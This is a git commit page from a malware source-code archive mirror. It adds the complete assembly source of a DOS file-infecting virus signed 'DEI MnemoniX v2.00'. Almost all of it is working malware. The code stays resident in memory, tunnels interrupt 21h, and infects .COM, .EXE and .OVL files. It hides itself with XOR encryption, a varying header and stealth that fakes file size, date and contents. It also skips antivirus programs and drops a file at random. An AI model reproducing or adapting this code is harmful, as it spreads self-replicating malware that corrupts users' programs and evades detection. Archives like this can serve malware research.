mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,960 @@
|
||||
; =======================================================================>
|
||||
|
||||
PING equ 0BF1h ; a worthless DOS function
|
||||
PONG equ 0DEAFh ; response to residency test
|
||||
|
||||
code segment
|
||||
org 100h
|
||||
assume cs:code,ds:code
|
||||
|
||||
start:
|
||||
jmp virus_begin ; fake host program
|
||||
db 26 dup (0)
|
||||
|
||||
virus_begin:
|
||||
db 0BBh ; mov bx,
|
||||
code_offset dw 0
|
||||
db 0B0h ; mov al,
|
||||
cipher db 0
|
||||
decrypt:
|
||||
db 02Eh ; cs:
|
||||
decryptor_1: xor [bx],al
|
||||
inc bx
|
||||
shift_1: neg al
|
||||
db 81h,0FBh ; cmp bx,
|
||||
code_offset_2 dw 0
|
||||
jbe decrypt
|
||||
viral_code:
|
||||
call $ + 3 ; BP is instruction ptr.
|
||||
pop bp
|
||||
sub bp,offset $ - 1
|
||||
|
||||
push ds es ; save segregs
|
||||
|
||||
jmp kill_sourcer ; mess with disassemblers
|
||||
db 0E9h
|
||||
kill_sourcer:
|
||||
xor ah,ah ; create or delete the
|
||||
int 1Ah ; \DEI.COM file at random
|
||||
cmp dx,0FE00h ; times ...
|
||||
jb dont_drop
|
||||
call drop_program
|
||||
jmp dont_delete
|
||||
dont_drop:
|
||||
cmp dx,0800h
|
||||
ja dont_delete
|
||||
call delete_program
|
||||
dont_delete:
|
||||
mov ax,PING ; residency test
|
||||
int 21h
|
||||
cmp bx,PONG ; if installed,
|
||||
jne not_installed ; don't install again
|
||||
jmp installed
|
||||
not_installed:
|
||||
mov ax,es ; install ourselves
|
||||
dec ax ; in memory
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
|
||||
mov ax,ds:[12h] ; doing some calculations and
|
||||
mov ds,ax ; a bit of manipulation to
|
||||
|
||||
sub ax,15 ; memory
|
||||
mov es,ax ; ES points to our destiny
|
||||
mov byte ptr ds:[0],'Z'
|
||||
mov word ptr ds:[1],8
|
||||
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||
|
||||
push cs ; zopy it
|
||||
pop ds
|
||||
mov di,100h
|
||||
mov cx,virus_end - start
|
||||
lea si,[bp + start]
|
||||
rep movsb
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[413h],7 ; allocate memory from BIOS
|
||||
|
||||
mov si,21h * 4 ; saving old interrupt 21
|
||||
mov di,offset old_int_21 ; first
|
||||
movsw
|
||||
movsw
|
||||
|
||||
lea dx,[bp + int_1]
|
||||
mov ds:[4],dx ; recursive tunneling -
|
||||
mov ds:[6],cs ; trace through interrupt 21
|
||||
|
||||
push es
|
||||
mov ah,52h ; get list of lists
|
||||
int 21h ; for segment of DOS's int 21
|
||||
mov ax,es
|
||||
mov cs:[bp + int_21_seg],ax
|
||||
pop es
|
||||
mov [bp + our_es],es
|
||||
|
||||
mov ax,100h ; set trap flag
|
||||
push ax
|
||||
popf
|
||||
|
||||
mov ah,0Bh ; and send us down the tunnel
|
||||
pushf
|
||||
call dword ptr ds:[21h * 4]
|
||||
|
||||
xor ax,ax ; turn off trap flag
|
||||
push ax
|
||||
popf
|
||||
|
||||
mov word ptr ds:[si - 4],0 ; little anti-trace ...
|
||||
|
||||
mov ds:[si - 4],offset new_int_21
|
||||
mov ds:[si - 2],es ; and set new interrupt 21
|
||||
|
||||
installed:
|
||||
pop es ds
|
||||
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
|
||||
je exe_exit ; if so, exit as such
|
||||
com_exit:
|
||||
lea si,[bp + offset host] ; restore original header
|
||||
mov di,100h
|
||||
push di
|
||||
mov cx,28
|
||||
rep movsb
|
||||
|
||||
call reset_regs
|
||||
|
||||
ret ; and leave
|
||||
|
||||
exe_exit:
|
||||
|
||||
mov ax,ds
|
||||
add ax,cs:[bp + exe_cs]
|
||||
mov word ptr cs:[bp + jump_to + 2],ax
|
||||
mov ax,cs:[bp + exe_ip]
|
||||
mov word ptr cs:[bp + jump_to],ax
|
||||
|
||||
mov ax,ds
|
||||
add ax,cs:[bp + exe_ss] ; restore original stack
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp + exe_sp]
|
||||
|
||||
call reset_regs ; reset registers
|
||||
|
||||
db 0EAh
|
||||
jump_to dd 0
|
||||
|
||||
reset_regs:
|
||||
mov si,100h
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor di,di
|
||||
xor bp,bp
|
||||
ret
|
||||
|
||||
; int 1 handler for tunneling.
|
||||
|
||||
int_21_seg dw 0 ; original int 21 segment
|
||||
our_es dw 0 ; our ES
|
||||
|
||||
int_1:
|
||||
push bp ; save registers used
|
||||
mov bp,sp
|
||||
|
||||
push ax
|
||||
mov ax,[bp + 4] ; SEGMENT of next instruction
|
||||
|
||||
push bp
|
||||
call get_dest_seg ; get location pointer
|
||||
get_dest_seg:
|
||||
pop bp
|
||||
|
||||
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
|
||||
pop bp ; restore BP
|
||||
jbe tunneled ; found, we're through
|
||||
|
||||
push ds si ; no, check next instruction
|
||||
|
||||
mov ds,ax
|
||||
mov si,[bp + 2] ; OFFSET of next instruction
|
||||
lodsb ; next instruction in AL
|
||||
|
||||
cmp al,0CFh ; IRET instruction?
|
||||
je set_iret ; adjust accordingly
|
||||
|
||||
cmp al,09Dh ; POPF instruction?
|
||||
je set_popf ; adjust
|
||||
|
||||
jmp flag_check_done ; never mind ...
|
||||
|
||||
tunneled: ; we're done ... save segment
|
||||
push es si
|
||||
call get_our_es
|
||||
get_our_es:
|
||||
pop si
|
||||
mov si,cs:[si - (get_our_es - our_es)]
|
||||
mov es,si
|
||||
mov word ptr es:[old_int_21 + 2],ax
|
||||
mov ax,[bp + 2] ; and offset
|
||||
mov word ptr es:[old_int_21],ax
|
||||
and [bp + 6],0FEFFh ; deinstall tunnel routine
|
||||
pop si es
|
||||
jmp exit
|
||||
|
||||
set_iret:
|
||||
or [bp + 10],100h ; OFFSET of second interrupt
|
||||
jmp flag_check_done ; call on stack (flags)
|
||||
|
||||
set_popf:
|
||||
or [bp + 6],100h ; OFFSET of word before
|
||||
; interrupt call on stack
|
||||
flag_check_done:
|
||||
pop si ds
|
||||
exit:
|
||||
pop ax bp
|
||||
iret
|
||||
|
||||
; int 24 handler.
|
||||
; DOS changes it back automatically.
|
||||
|
||||
new_int_24:
|
||||
mov al,3 ; simple enough
|
||||
iret
|
||||
|
||||
; ================================================>
|
||||
; int 21 handler.
|
||||
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
|
||||
; ================================================>
|
||||
|
||||
int_21:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
ret
|
||||
|
||||
new_int_21:
|
||||
cmp ax,PING ; are we checking on ourself?
|
||||
je pass_signal ; yes, give the signal
|
||||
|
||||
cmp ax,4B00h ; program execution?
|
||||
je execute ; uh - huh
|
||||
|
||||
cmp ah,11h ; directory stealth method 1
|
||||
je dir_stealth_1 ; (hide from DIR listing)
|
||||
cmp ah,12h
|
||||
je dir_stealth_1
|
||||
|
||||
cmp ah,4Eh ; directory stealth method 2
|
||||
je dir_stealth_2 ; (hide from ASCIIZ search)
|
||||
cmp ah,4Fh
|
||||
je dir_stealth_2
|
||||
|
||||
cmp ah,3Dh ; file open method 1
|
||||
jne go_on
|
||||
jmp file_open
|
||||
go_on:
|
||||
cmp ah,6Ch ; file open method 2
|
||||
jne go_on_2
|
||||
jmp file_open
|
||||
go_on_2:
|
||||
cmp ah,3Fh ; file read
|
||||
jne go_on_3
|
||||
jmp file_read
|
||||
go_on_3:
|
||||
cmp ax,5700h ; get date
|
||||
jne int_21_exit
|
||||
jmp fix_date
|
||||
|
||||
int_21_exit:
|
||||
db 0EAh ; never mind ...
|
||||
old_int_21 dd 0
|
||||
|
||||
pass_signal:
|
||||
mov bx,PONG ; pass signal
|
||||
jmp int_21_exit
|
||||
|
||||
execute:
|
||||
call check_name
|
||||
jc skip_infect ; don't infect if marked
|
||||
call infect_ds_dx ; simple enough ...
|
||||
skip_infect:
|
||||
jmp int_21_exit
|
||||
|
||||
dir_stealth_1:
|
||||
call int_21 ; do it
|
||||
test al,al ; if al = -1
|
||||
js cant_find ; then don't bother
|
||||
|
||||
push ax bx es ; check file for infection
|
||||
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
|
||||
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||||
jne no_ext_FCB
|
||||
add bx,7
|
||||
|
||||
no_ext_FCB:
|
||||
mov ax,es:[bx + 19h]
|
||||
cmp ah,100 ; check years -
|
||||
jb fixed ; if 100+, infected
|
||||
|
||||
ror ah,1
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 19h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[bx + 1Fh],0
|
||||
fixed:
|
||||
pop es bx ax
|
||||
cant_find:
|
||||
iret
|
||||
|
||||
|
||||
dir_stealth_2:
|
||||
call int_21 ; perform file search
|
||||
jnc check_file_2 ; if found, proceed
|
||||
retf 2 ; nope, leave
|
||||
check_file_2:
|
||||
push ax bx si es
|
||||
|
||||
mov ah,2Fh ; find DTA
|
||||
int 21h
|
||||
|
||||
mov ax,es:[bx + 18h]
|
||||
cmp ah,100 ; check for infection marker
|
||||
jb fixed_2
|
||||
|
||||
ror ah,1 ; fix up date
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 18h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[bx + 1Ch],0
|
||||
fixed_2:
|
||||
pop es si bx ax ; done
|
||||
clc
|
||||
retf 2
|
||||
|
||||
file_open:
|
||||
call try_infecting ; try to infect file
|
||||
|
||||
call int_21 ; open file
|
||||
jc open_fail ; carry set, open failed
|
||||
|
||||
cmp ax,5 ; if handle is a device,
|
||||
jb dont_bother ; don't bother with it
|
||||
|
||||
push ax bx di es
|
||||
|
||||
xchg ax,bx
|
||||
push bx
|
||||
mov ax,1220h ; get system file table
|
||||
int 2Fh ; entry
|
||||
|
||||
nop ; anti-SCAN
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; check datestamp
|
||||
jb dont_stealth
|
||||
|
||||
cmp word ptr es:[di],1 ; if file has already
|
||||
ja dont_stealth ; been opened, don't stealth
|
||||
|
||||
sub es:[di + 11h],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
|
||||
; size
|
||||
|
||||
dont_stealth:
|
||||
pop es di bx ax ; restore everything
|
||||
dont_bother:
|
||||
clc
|
||||
open_fail:
|
||||
retf 2 ; and return
|
||||
|
||||
file_read:
|
||||
cmp bx,5 ; if read from device,
|
||||
jae check_it_out ; don't bother
|
||||
jmp forget_it
|
||||
|
||||
check_it_out:
|
||||
push si di es ax bx cx
|
||||
|
||||
push bx
|
||||
mov ax,1220h ; get SFTs
|
||||
int 2Fh
|
||||
|
||||
nop
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; 100+ years
|
||||
jae check_pointer ; is the magic number
|
||||
jmp no_read_stealth
|
||||
check_pointer:
|
||||
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
|
||||
je check_pointer_2 ; then skip it
|
||||
jmp no_read_stealth
|
||||
|
||||
check_pointer_2:
|
||||
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
|
||||
jae no_read_stealth ; then DON'T
|
||||
|
||||
push es:[di + 15h] ; save it
|
||||
|
||||
mov ah,3Fh
|
||||
call int_21 ; do the read function
|
||||
|
||||
pop cx ; now find how many bytes
|
||||
push ax ; (Save AX value)
|
||||
sub cx,28 ; we have to change ...
|
||||
neg cx ; and where
|
||||
|
||||
cmp ax,cx ; if more than 28 were read,
|
||||
jae ok ; ok
|
||||
|
||||
xchg ax,cx ; otherwise, switch around
|
||||
ok:
|
||||
push ds cx dx
|
||||
|
||||
push es:[di + 15h] ; save current file pointer
|
||||
push es:[di + 17h]
|
||||
|
||||
add es:[di + 11h],VIRUS_SIZE + 28
|
||||
adc word ptr es:[di + 13h],0
|
||||
mov ax,es:[di + 11h] ; fix up file size to prevent
|
||||
sub ax,28 ; read past end of file
|
||||
|
||||
mov es:[di + 15h],ax
|
||||
mov ax,es:[di + 13h]
|
||||
mov es:[di + 17h],ax
|
||||
|
||||
push cs ; now read in real first 28
|
||||
pop ds ; bytes
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
mov ah,3Fh
|
||||
call int_21
|
||||
|
||||
sub es:[di + 11h],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[di + 13h],0
|
||||
|
||||
pop es:[di + 17h] ; restore file pointer
|
||||
pop es:[di + 15h]
|
||||
|
||||
pop dx cx ds ; now we move our 28 bytes
|
||||
push ds ; into theirs ...
|
||||
pop es
|
||||
|
||||
mov di,dx
|
||||
mov si,offset read_buffer
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ; done
|
||||
|
||||
push es ; restore DS
|
||||
pop ds
|
||||
|
||||
pop ax
|
||||
pop cx bx es es di si
|
||||
clc
|
||||
retf 2
|
||||
|
||||
no_read_stealth:
|
||||
pop cx bx ax es di si
|
||||
forget_it:
|
||||
jmp int_21_exit
|
||||
|
||||
fix_date:
|
||||
call int_21 ; get date
|
||||
jc an_error
|
||||
cmp dh,100 ; if years > 100,
|
||||
jb date_fixed ; fix it up
|
||||
ror dh,1
|
||||
sub dh,100
|
||||
rol dh,1
|
||||
date_fixed:
|
||||
iret
|
||||
an_error:
|
||||
retf 2
|
||||
; Called routines
|
||||
|
||||
; this routine checks for a .COM or .EXE file
|
||||
try_infecting:
|
||||
push di es cx ax
|
||||
|
||||
cmp ax,6C00h ; extended open fix
|
||||
jne get_ext
|
||||
xchg dx,si
|
||||
get_ext:
|
||||
mov di,dx ; find program extension
|
||||
push ds
|
||||
pop es
|
||||
mov cx,64
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
pop ax
|
||||
jcxz let_it_be ; ... "ecch" ...
|
||||
|
||||
cmp [di],'OC' ; .COM file?
|
||||
jne perhaps_exe ; maybe .EXE, then
|
||||
cmp byte ptr [di + 2],'M'
|
||||
jne let_it_be ; not program, don't infect
|
||||
jmp yes_infect_it
|
||||
perhaps_exe:
|
||||
cmp [di],'XE' ; .EXE file?
|
||||
jne one_more_try ; maybe ... .OVL?
|
||||
cmp byte ptr [di + 2],'E'
|
||||
jne let_it_be
|
||||
jmp yes_infect_it
|
||||
one_more_try:
|
||||
cmp [di],'VO' ; .OVL file?
|
||||
jne let_it_be
|
||||
cmp byte ptr [di + 2],'L'
|
||||
jne let_it_be
|
||||
yes_infect_it:
|
||||
call check_name ; don't infect forbidden
|
||||
jc let_it_be ; programs
|
||||
call infect_ds_dx
|
||||
let_it_be:
|
||||
cmp ah,6Ch ; extended open fixup
|
||||
jne get_out
|
||||
xchg dx,si
|
||||
get_out:
|
||||
pop cx es di
|
||||
ret
|
||||
|
||||
; this routine checks the filename at DS:DX for certain 'bad' programs
|
||||
|
||||
check_name:
|
||||
push ax cx es di
|
||||
|
||||
push ds ; find extension
|
||||
pop es
|
||||
mov di,dx
|
||||
mov cx,64
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
|
||||
cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN
|
||||
jne pass_1
|
||||
cmp word ptr [di - 5],'CS'
|
||||
je av_prog
|
||||
pass_1:
|
||||
cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT
|
||||
jne pass_2
|
||||
cmp word ptr [di - 5],'RP'
|
||||
je av_prog
|
||||
pass_2:
|
||||
cmp word ptr [di - 3],'DN' ; COMMAND.COM
|
||||
jne pass_3 ; ("Bad or Missing," etc.)
|
||||
cmp word ptr [di - 5],'AM'
|
||||
je av_prog
|
||||
pass_3:
|
||||
cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC
|
||||
jne pass_4 ; ("Packed file is corrupt")
|
||||
cmp word ptr [di - 7],'BQ'
|
||||
je av_prog
|
||||
pass_4:
|
||||
clc ; passed the test
|
||||
jmp check_complete
|
||||
av_prog:
|
||||
stc ; ack! *GAG* *boo* *hiss*
|
||||
check_complete:
|
||||
pop di es cx ax
|
||||
ret
|
||||
|
||||
; this routine infects the file at DS:DX
|
||||
|
||||
infect_ds_dx:
|
||||
push ax bx cx dx si di ds es
|
||||
|
||||
in al,21h ; some anti-trace
|
||||
xor al,2
|
||||
out 21h,al
|
||||
|
||||
xor al,2
|
||||
out 21h,al
|
||||
|
||||
mov ax,3D00h ; read-only ... we'll change
|
||||
call int_21 ; it later, but it won't trip
|
||||
jnc hook_24 ; some AV monitors
|
||||
jmp cant_open
|
||||
|
||||
hook_24:
|
||||
xor bx,bx ; hook int 24h
|
||||
mov ds,bx ; prevent write protect errors
|
||||
mov ds:[24h * 4],offset new_int_24
|
||||
mov ds:[24h * 4 + 2],cs
|
||||
|
||||
xchg bx,ax ; get system file tables
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
nop ; anti-SCAN
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; if already infected,
|
||||
jae dont_infect ; don't do it again
|
||||
|
||||
mov word ptr es:[di + 2],2 ; change mode to R/W
|
||||
|
||||
push cs ; read in 28 bytes of
|
||||
pop ds ; our potential host ...
|
||||
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
mov ah,3Fh ; (carefully avoiding
|
||||
call int_21 ; our stealth routine)
|
||||
|
||||
cmp word ptr read_buffer,'ZM'
|
||||
je infect_exe ; if .EXE, infect as one
|
||||
|
||||
mov exe_flag,0 ; infect as .COM
|
||||
|
||||
mov ax,es:[di + 11h] ; get file size
|
||||
|
||||
cmp ax,65279 - VIRUS_SIZE + 28
|
||||
ja dont_infect ; don't infect; too big
|
||||
|
||||
cmp ax,28
|
||||
jb dont_infect ; don't infect; too small
|
||||
|
||||
mov es:[di + 15h],ax ; move to end of file
|
||||
; (I just love the SFTs ...)
|
||||
call encrypt_and_write_virus ; encrypt the virus code
|
||||
; then write it to the file
|
||||
|
||||
mov dx,offset read_buffer ; store original
|
||||
mov cx,28 ; header
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov word ptr es:[di + 15h],0 ; and lastly, back to
|
||||
; the beginning of the file
|
||||
mov dx,offset new_header ; to add the new header
|
||||
mov ah,40h
|
||||
mov cx,22 ; our header's only 22 bytesx
|
||||
call int_21
|
||||
|
||||
mov cx,es:[di + 0Dh] ; fix date/time
|
||||
mov dx,es:[di + 0Fh]
|
||||
ror dh,1
|
||||
add dh,100
|
||||
rol dh,1
|
||||
mov ax,5701h
|
||||
call int_21
|
||||
dont_infect:
|
||||
mov ah,3Eh ; and close the file
|
||||
call int_21
|
||||
cant_open:
|
||||
jmp infect_exit ; infection done; exit
|
||||
|
||||
infect_exe:
|
||||
cmp word ptr read_buffer[24],'@'
|
||||
jne not_windows
|
||||
jmp infect_exit ; Windows .EXE, don't infect
|
||||
not_windows:
|
||||
cmp word ptr read_buffer[26],0
|
||||
je not_overlay
|
||||
jmp infect_exit ; overlay .EXE, don't infect
|
||||
not_overlay:
|
||||
mov exe_flag,1 ; infect as .EXE
|
||||
|
||||
push es di ; move original header
|
||||
push cs ; into new header area
|
||||
pop es
|
||||
|
||||
mov si,offset read_buffer
|
||||
mov di,offset header_buffer
|
||||
mov cx,28
|
||||
rep movsb
|
||||
|
||||
pop di es
|
||||
|
||||
push es:[di + 11h] ; save file size on stack
|
||||
push es:[di + 13h]
|
||||
|
||||
push word ptr read_buffer[22] ; CS ...
|
||||
pop exe_cs
|
||||
add exe_cs,10h ; (adjust)
|
||||
push word ptr read_buffer[20] ; IP ...
|
||||
pop exe_ip
|
||||
|
||||
push word ptr read_buffer[14] ; SS ...
|
||||
pop exe_ss
|
||||
add exe_ss,10h ; (adjust)
|
||||
push word ptr read_buffer[16] ; and SP
|
||||
pop exe_sp
|
||||
|
||||
pop dx ax ; now we calculate new CS:IP
|
||||
push ax dx ; (save these for later)
|
||||
|
||||
push bx
|
||||
mov cl,12 ; calculate offsets for CS
|
||||
shl dx,cl ; and IP
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,15
|
||||
pop bx
|
||||
|
||||
sub dx,word ptr read_buffer[8]
|
||||
mov word ptr read_buffer[22],dx
|
||||
mov word ptr read_buffer[20],ax
|
||||
|
||||
pop dx ax
|
||||
add ax,VIRUS_SIZE + 28
|
||||
adc dx,0
|
||||
push ax dx
|
||||
|
||||
mov cl,4 ; create a stack segment
|
||||
shr ax,cl
|
||||
add ax,200
|
||||
|
||||
cmp ax,word ptr read_buffer[14]
|
||||
jb no_new_stack ; if theirs is better, skip it
|
||||
|
||||
mov dx,-2 ; set SP to FFFE always
|
||||
mov word ptr read_buffer[14],ax
|
||||
mov word ptr read_buffer[16],dx
|
||||
no_new_stack:
|
||||
pop dx ax ; now calculate program size
|
||||
|
||||
mov cx,512 ; in pages
|
||||
div cx ; then save results
|
||||
inc ax
|
||||
mov word ptr read_buffer[2],dx
|
||||
mov word ptr read_buffer[4],ax
|
||||
|
||||
mov ax,4202h ; this is just easier
|
||||
cwd ; than using the SFTs
|
||||
xor cx,cx
|
||||
call int_21
|
||||
|
||||
mov ax,word ptr read_buffer[20] ; get code offset
|
||||
call encrypt_and_write_virus ; encrypt virus code
|
||||
; and write it to the file
|
||||
mov dx,offset header_buffer ; write original header
|
||||
mov cx,28 ; to file
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov word ptr es:[di + 15h],0
|
||||
mov word ptr es:[di + 17h],0 ; back to beginning of file
|
||||
|
||||
mov dx,offset read_buffer ; and write new header to file
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov cx,es:[di + 0Dh] ; fix date/time
|
||||
mov dx,es:[di + 0Fh]
|
||||
ror dh,1
|
||||
add dh,100
|
||||
rol dh,1
|
||||
mov ax,5701h
|
||||
call int_21
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
call int_21
|
||||
|
||||
infect_exit:
|
||||
pop es ds di si dx cx bx ax ; done ... leave
|
||||
ret
|
||||
|
||||
encrypt_and_write_virus:
|
||||
push es di bx ax ; save code offset and SFT
|
||||
mov bx,ax
|
||||
|
||||
xor ah,ah ; get random number from
|
||||
int 1Ah ; system clock
|
||||
mov cipher,dl ; and use it for encryption
|
||||
|
||||
pop ax ; fix up offset
|
||||
|
||||
cmp exe_flag,0
|
||||
jne not_org_100h
|
||||
add ax,100h
|
||||
not_org_100h:
|
||||
add ax,(viral_code - virus_begin)
|
||||
mov ds:code_offset,ax
|
||||
|
||||
add ax,(virus_end - viral_code) - 1 ; second offset
|
||||
mov ds:code_offset_2,ax
|
||||
|
||||
mov si,offset virus_begin
|
||||
mov di,offset encrypt_buffer
|
||||
|
||||
push cs ; move decryption module
|
||||
pop es
|
||||
|
||||
mov cx,viral_code - virus_begin
|
||||
rep movsb
|
||||
|
||||
mov si,offset viral_code
|
||||
mov cx,virus_end - viral_code
|
||||
encrypt: ; now encrypt virus code
|
||||
lodsb ; with a simple encryption
|
||||
decryptor_2:
|
||||
xor al,dl ; key ...
|
||||
shift_2:
|
||||
neg dl
|
||||
stosb
|
||||
loop encrypt
|
||||
|
||||
cmp exe_flag,0 ; if .COM file,
|
||||
jne exe_infection
|
||||
mov ax,bx
|
||||
call create_header ; create unique header
|
||||
|
||||
exe_infection:
|
||||
pop bx di es ; restore SFT
|
||||
|
||||
mov ah,40h ; wrte virus code to file
|
||||
mov cx,VIRUS_SIZE
|
||||
mov dx,offset encrypt_buffer
|
||||
call int_21
|
||||
|
||||
ret
|
||||
|
||||
check_datestamp:
|
||||
mov ax,es:[di + 0Fh] ; a little routine to
|
||||
cmp ah,100 ; check timestamps
|
||||
ret
|
||||
|
||||
drop_program:
|
||||
lea dx,[bp + offset weirdo] ; this creates our
|
||||
push ds ; little signature
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Ch
|
||||
mov cx,3
|
||||
int 21h
|
||||
jc no_drop
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,40h
|
||||
mov cx,(drop_me_end - drop_me)
|
||||
lea dx,[bp + offset drop_me]
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
|
||||
no_drop:
|
||||
pop ds
|
||||
ret
|
||||
|
||||
delete_program:
|
||||
mov ah,41h
|
||||
lea dx,[bp + offset weirdo]
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
int 21h
|
||||
pop ds
|
||||
ret
|
||||
|
||||
create_header:
|
||||
push ax
|
||||
add ax,100h + (offset decrypt - offset virus_begin)
|
||||
mov ds:mov_1,ax ; header
|
||||
inc ax
|
||||
inc ax
|
||||
mov ds:mov_2,ax
|
||||
|
||||
xor ah,ah ; fill in useless MOVs
|
||||
int 1Ah ; with random bytes
|
||||
mov ds:mov_al,cl
|
||||
mov ds:mov_ax,dx
|
||||
|
||||
push dx ; modify header a little ...
|
||||
and cl,7 ; make things weirder ...
|
||||
add cl,0B0h
|
||||
mov ds:mov_reg,cl
|
||||
and dl,3
|
||||
add dl,0B8h
|
||||
mov ds:mov_regx,dl
|
||||
pop dx
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset encrypt_buffer
|
||||
add di,offset decrypt - offset virus_begin
|
||||
mov ax,dx ; now fill decryption module
|
||||
neg ax ; with some garbage
|
||||
stosw
|
||||
rol ax,1
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
sub ax,20 ; fix up JMP instruction
|
||||
mov ds:new_jump,ax
|
||||
|
||||
ret ; done
|
||||
|
||||
new_header db 0C7h,06
|
||||
mov_1 dw 00
|
||||
db 2Eh
|
||||
decryptor_3 db 30h ; first MOV
|
||||
mov_reg db 0B0h
|
||||
mov_al db 00 ; a nothing MOV bytereg,
|
||||
db 0C7h,06
|
||||
mov_2 dw 00
|
||||
db 07,043h ; second MOV
|
||||
mov_regx db 0B8h
|
||||
mov_ax dw 00 ; a nothing MOV wordreg,
|
||||
db 0E9h ; jump instruction
|
||||
new_jump dw 0 ; virus offset
|
||||
|
||||
exe_flag db 0
|
||||
|
||||
exe_cs dw 0 ; EXE code/stack settings
|
||||
exe_ip dw 0
|
||||
exe_ss dw 0
|
||||
exe_sp dw 0
|
||||
|
||||
drop_me:
|
||||
mov ah,9 ; this program is dropped
|
||||
mov dx,109h ; at random times within
|
||||
int 21h ; the root directory as
|
||||
int 20h ; \DEI.COM
|
||||
|
||||
sig db 'Devils & Evangels, Inc. '
|
||||
db '[DEI] MnemoniX $',0
|
||||
drop_me_end:
|
||||
db 'v2.00'
|
||||
|
||||
weirdo db '\DEI.COM',0
|
||||
|
||||
virus_end:
|
||||
host:
|
||||
mov ah,4Ch ; fake host program
|
||||
int 21h
|
||||
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
|
||||
read_buffer db 28 dup (?)
|
||||
header_buffer db 28 dup (?)
|
||||
encrypt_buffer db VIRUS_SIZE dup (?)
|
||||
end_heap:
|
||||
|
||||
MEM_SIZE equ end_heap - start
|
||||
|
||||
code ends
|
||||
end start
|
||||
Reference in New Issue
Block a user